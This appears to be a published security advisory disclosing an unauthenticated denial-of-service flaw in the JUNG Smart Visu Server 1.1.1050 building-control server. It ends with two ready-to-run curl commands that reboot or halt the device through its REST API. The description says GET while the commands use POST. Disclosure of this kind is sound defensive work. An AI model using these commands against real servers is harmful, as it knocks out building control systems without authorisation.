JUNG Smart Visu Server 1.1.1050 Remote Server Shutdown

JUNG Smart Visu JUNG Smart Visu Server 1.1.1050 Remote Server Shutdown

JUNG Smart Visu Server 1.1.1050 Remote Server Shutdown


Vendor: ALBRECHT JUNG GMBH & CO. KG
Product web page: https://www.jung-group.com | https://www.jung.de
Affected version: 1.1.1050

Summary: The Smart Visu Server makes your intelligent building
control convenient. With the user-friendly operating concept,
you can control both the KNX system and other systems such as
Philips Hue or Sonos on your mobile devices. You can likewise
connect voice control to your KNX system with Amazon Alexa or
Google Assistant via the Smart Visu Server.

Desc: The device is suffering from a Denial of Service (DoS).
An unauthenticated attacker can reboot or shutdown the server
by sending one GET request.

Tested on: Jetty(9.2.12.v20150709)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2026-5971
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2026-5971.php


07.02.2026

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# Reboot server
$ curl -X POST "http://10.0.0.16:8080/rest/items/liteserver_LiteServer_1_systemControl" \
-H "User-Agent: thricer-engine/1.6" \
-d "{\"MSG_ID_TYPE\":\"MSG_REBOOT_REQ\"}"


# Shutdown server
$ curl -X POST "http://10.0.0.16:8080/rest/items/liteserver_LiteServer_1_systemControl" \
-H "User-Agent: thricer-engine/1.6" \
-d "{\"MSG_ID_TYPE\":\"MSG_HALT_REQ\"}"